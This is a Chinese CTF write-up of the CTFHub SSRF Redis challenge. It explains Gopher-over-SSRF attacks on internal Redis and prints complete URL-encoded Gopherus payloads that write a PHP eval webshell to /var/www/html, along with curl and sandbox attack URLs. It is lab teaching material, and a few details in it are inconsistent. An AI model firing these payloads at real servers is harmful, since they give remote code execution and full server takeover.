CTFHub SSRF通关笔记6:Gopher Redis原理详解与渗透实战

发布于:2025-09-11 ⋅ 阅读:(21) ⋅ 点赞:(0)

目录

一、SSRF Gopher Redis

1、功能简介

2、攻击原理

(1)SSR的作用

(2)Gopher 协议特性

(3)攻击 Redis 步骤

二、gopherus

1、功能简介

2、攻击Redis服务方法

三、Gopherus安装

1、源码下载

2、编译安装

四、渗透实战

1、打开靶场

2、gopherus渗透

(1)启动攻击模块

(2)第一行输入攻击类型

(3)第二行输入路径

(4)第三行输入 WebShell 内容

(5)URL编码

(6)执行SSRF攻击

4、连接木马


本文通过CTFHub的SSRF Redis关卡的渗透实战,详细讲解了SSRF结合Gopher协议攻击Redis服务的技术原理与实践方法。通过Gopherus工具构造恶意Redis请求,突破内网限制实现远程代码执行(RCE)。实战演示了从生成Payload、URL编码到利用SSRF安全风险上传Webshell的全过程,最终通过蚁剑连接木马获取目标系统flag。

一、SSRF Gopher Redis

1、功能简介

在Web安全领域,结合SSRF(服务器端请求伪造)、Gopher协议和Redis协议的攻击,构成了针对内网Redis服务的高危威胁。这种攻击能将原本低危的SSRF风险升级为具有远程代码执行(RCE)能力的致命攻击链。攻击者通过构造恶意Gopher请求,利用SSRF风险使目标服务器与内网Redis服务交互,最终达成远程代码执行目的。下表展示了这三个组件的核心作用。

组件 核心定位 关键特性
SSRF Server-Side Request Forgery “服务器端请求伪造”,攻击者通过可控输入诱导服务器向任意地址 / 服务发起请求 突破客户端访问限制,可访问服务器内网资源(如 127.0.0.1:6379 的 Redis服务)
Gopher 协议 轻量级互联网协议,支持构造任意二进制 / 文本请求包,可模拟完整协议交互 能封装Redis协议的报文,通过gopher://URL 传递给 SSRF安全风险点
Redis 开源的高性能键值对内存数据库,常用于缓存、消息队列等 Redis使用一种简单、基于文本的协议。历史版本默认无认证且绑定在 0.0.0.0,导致未授权访问

2、攻击原理

Redis服务默认运行在服务器内网(127.0.0.1:6379),仅允许本地或信任网段访问,外部无法直接触达。而 SSRF + Gopher 恰好能突破这一限制,核心攻击链路如下:

(1)SSRF的作用

SSRF 核心在于服务器未对用户输入的 URL 进行严格过滤和验证,导致攻击者可以控制服务器向任意地址发起请求。由于请求是由服务器端发出的,所以攻击者能够利用SSRF访问服务器所在网络内部的系统,而这些内部系统通常是外部无法直接访问的,比如内网中的 Redis 服务。

(2)Gopher 协议特性

Gopher 协议是一种比 HTTP 协议更早出现的协议,现在已不常用,但在 SSRF 利用中却非常有用。Gopher 协议可以发送各种格式的请求包,能够构造任意的 TCP 数据流,这使得攻击者可以通过 Gopher 协议模拟 Redis 协议的请求格式,向 Redis 服务器发送特定的命令。

(3)攻击 Redis 步骤

① 确认 Redis 服务存在:攻击者首先需要通过 SSRF探测内网中是否存在 Redis 服务,通常 Redis 默认运行在 6379 端口,攻击者可以构造一个 SSRF 请求,尝试访问127.0.0.1:6379,根据服务器的响应情况来判断 Redis 服务是否存在。

② 构造恶意请求:一旦确认 Redis 服务存在,攻击者就可以利用 Gopher 协议构造恶意的 Redis 命令请求包。例如,比让Redis执行以下命令在服务器生成木马文件。

FLUSHALL          # 清空所有数据库(可选,为了清洁)
SET shell "<?php @eval($_POST['ljn']); ?>" # 将一个键的值设置为Webshell代码
CONFIG SET DIR /var/www/html      # 修改Redis数据持久化存储目录为Web目录
CONFIG SET DBFILENAME shell.php   # 修改持久化数据文件名为webshell的名字
SAVE               # 强制将当前数据库保存到磁盘。由于上面修改了路径和文件名,就会生成/var/www/html/shell.php
QUIT               # 退出连接

③ 发送请求并执行命令:攻击者将构造好的 Gopher 协议请求包进行 URL 编码后,嵌入到存在 SSRF安全风险的请求中,通过服务器发送给 Redis 服务器。Redis 服务器接收到请求后,会按照协议解析并执行其中的命令,从而完成攻击者预期的操作。Gopher协议要求对整个TCP数据流进行URL编码。手动构造极其繁琐,这就是Gopherus这类工具的价值所在。

  • 将Redis命令转换为合规的协议格式。

  • 对整个数据流进行URL编码。

  • 生成最终的Gopher URL:gopher://127.0.0.1:6379/_<编码后的数据>

    ④ 实现后续控制:将生成的Gopher URL通过SSRF风险点提交给服务器后,如果Web目录路径正确且Redis有写权限,攻击成功后就会生成木马文件,使用木马的密码连接木马即可完全控制该服务器。

    二、gopherus

    1、功能简介

    Gopherus 是一款用 Python 编写的开源工具,专门用于利用 SSRF(服务器端请求伪造)。它的核心功能是生成恶意编码的 Gopher 协议载荷,从而攻击内网中的各种服务,实现从信息泄露到远程代码执行(RCE)的升级。

    项目地址: https://github.com/tarunkant/Gopherus

    Gopherus 可以生成 Gopher 协议的有效载荷,用于实现远程代码执行(RCE),并获取目标服务器的反向 Shell。该工具支持多种服务的 SSRF 攻击 payload 生成,包括 MySQL、PostgreSQL、FastCGI、Redis、Zabbix、pymemcache、rbmemcache、phpmemcache、dmpmemcache、smtp 等。

    2、攻击Redis服务方法

    在 Gopherus 中,针对 Redis服务的攻击步骤如下所示。

    # 1. 启动Redis攻击模块
    $ python2 gopherus.py --exploit redis
    
    # 2. 输入Redis路径和Webshell内容
    [+] What do you want?? (ReverseShell/PHPShell): PHPShell
    [+] Enter Redis path: /var/www/html
    [+] Enter shell function: <?php system($_GET['cmd']); ?>
    
    # 3. 获取生成的Gopher载荷
    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
    
    # 4. 通过SSRF发送
    curl "http://vulnerable-site.com/ssrf.php?url=生成的GopherURL"
    
    # 5. 生成Webshell文件并访问
    生成木马文件URL:http://vulnerable-site.com/shell.php
    密码:cmd

    三、Gopherus安装

    1、源码下载

    首先从 GitHub 上克隆 Gopherus 项目,可以通过命令行或者直接在网站官网下载源码。

    项目地址:https://github.com/tarunkant/Gopherus.git
    命令行下载:git clone https://github.com/tarunkant/Gopherus.git

    2、编译安装

    然后进入项目源码所在的目录,其中install.sh为安装脚本,如下图所示。

    赋予安装脚本执行权限并运行,这一步会将 Gopherus 相关脚本链接到系统路径,方便后续全局调用。如果不执行如下install命令,需要每次使用Gopherus工具时,进入到源码路径中使用。

    chmod +x install.sh
    sudo./install.sh

    四、渗透实战

    1、打开靶场

    打开靶场,如下图所示题目给出以下提示“这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!”,这说明题目提醒我们使用SSRF Redis进行渗透,我们可以直接在kali使用gopherus脚本进行攻击。

    复制靶场链接(challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800)并访问,如下所示被重定向到了?url=_中。

    2、gopherus渗透

    (1)启动攻击模块

    使用 gopherus.py --exploit redis启动Redis攻击模块,具体命令如下所示。

    python2 gopherus.py --exploit redis————使用gopherus工具生成payload

    (2)第一行输入攻击类型

    首先我们选择攻击类型为PHPShell,具体如下所示。

    [+] What do you want?? (ReverseShell/PHPShell): PHPShell
    • PHPShell:生成一个 PHP WebShell 文件

    • ReverseShell:生成一个直接反弹 Shell 的 payload

    (3)第二行输入路径

    启动 Gopherus 的 Redis 攻击模块后,具提示你输入Redis 数据文件将要写入的目标路径。这个路径的核心作用是:通过 Redis 的 CONFIG SET dir 命令指定数据持久化目录(即 dir 参数),后续执行 SAVE 命令时,Redis 会将内存中的数据(如攻击者构造的恶意内容)写入该目录下的文件(由 dbfilename 指定文件名)。简言之,这个路径决定了 Redis 写入的恶意文件最终存储在服务器的哪个位置,需根据目标服务器的 Web 目录结构或可利用路径填写,才能让后续的恶意文件被有效访问和执行。

    [+] Enter Redis path: /var/www/html

    若输入 /var/www/html(Web 服务的根目录),配合设置 dbfilename webshell.php,则 Redis 会在 /var/www/html 下生成 webshell.php 文件。由于该目录通常是 Web 服务器(如 Nginx、Apache)的网站根目录,攻击者可通过访问 http://目标IP/webshell.php 触发恶意代码执行,实现远程控制。

    (4)第三行输入 WebShell 内容

    接下来工具提示输入要执行的命令,这是可以选择使用一句话木马,参数为mooyuan,完整内容为<?php @eval($_POST['mooyuan']);?>,具体含所以如下所示。

    脚本内容 含义 作用
    <?php ... ?> PHP 标签 标识 PHP 代码开始和结束
    system() 系统命令执行函数 执行操作系统命令
    $_GET['mooyuan'] 获取 GET 参数 从 URL 中获取 mooyuan 参数的值
    ; 语句结束符 PHP 语法要求

    Gopherus 会自动将 dbfilename(Redis 持久化文件名)设置为 shell.php,配置完毕后Gopherus 工具会根据输入生成相应的 Gopher 协议有效载荷(下图白色下划线文字),如下所示。

    [+] Enter shell function: <?php system($_GET['mooyuan']); ?>

    (5)URL编码

    此时工具会根据输入生成相应的 Gopher 协议有效载荷,复制上图中白色下划线的Payload,内容如下所示。

    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2437%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27mooyuan%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A                                                                                                                               

    生成的有效载荷需要进行 URL 编码,可使用在线编码工具或编程语言中的编码函数进行编码。把生成的payload进行URL编码,编码后如下所示。

    gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252437%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527mooyuan%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

    (6)执行SSRF攻击

    访问构造的paylaod URL网址,使用参数?url=Payload进行SSRF攻击,也就是拼接(challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/?url=_)与Payload,完整URL如下所示。

    http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252437%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527mooyuan%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

    显示此页面为504,没有关系,执行这段payload的目标就是在服务器根目录上传木马shell.php,

    此时shell.php应该已经被传到靶场的根目录,因此木马文件的URL地址如下所示。

    http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/shell.php

    3、连接木马

    打开蚁剑,添加数据,填写URL地址和密码,其中木马ljn.php的具体信息如下所示。

    木马内容:<?php @eval($_POST['mooyuan']);?>
    木马URL:http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/shell.php
    木马密码:mooyuan

    如下所示,填写完毕后点击测试连接右下角出现绿色连通文字,点击添加即成功连接木马。

    右键选择文件系统,开始查找flag相关的文件,如下所示在根目录中找到flag文件。

    双击打开文件flag_5102c54a839a31054559e7d99720ad84,成功获取到flag值。


    网站公告

    今日签到

    点亮在社区的每一天
    去签到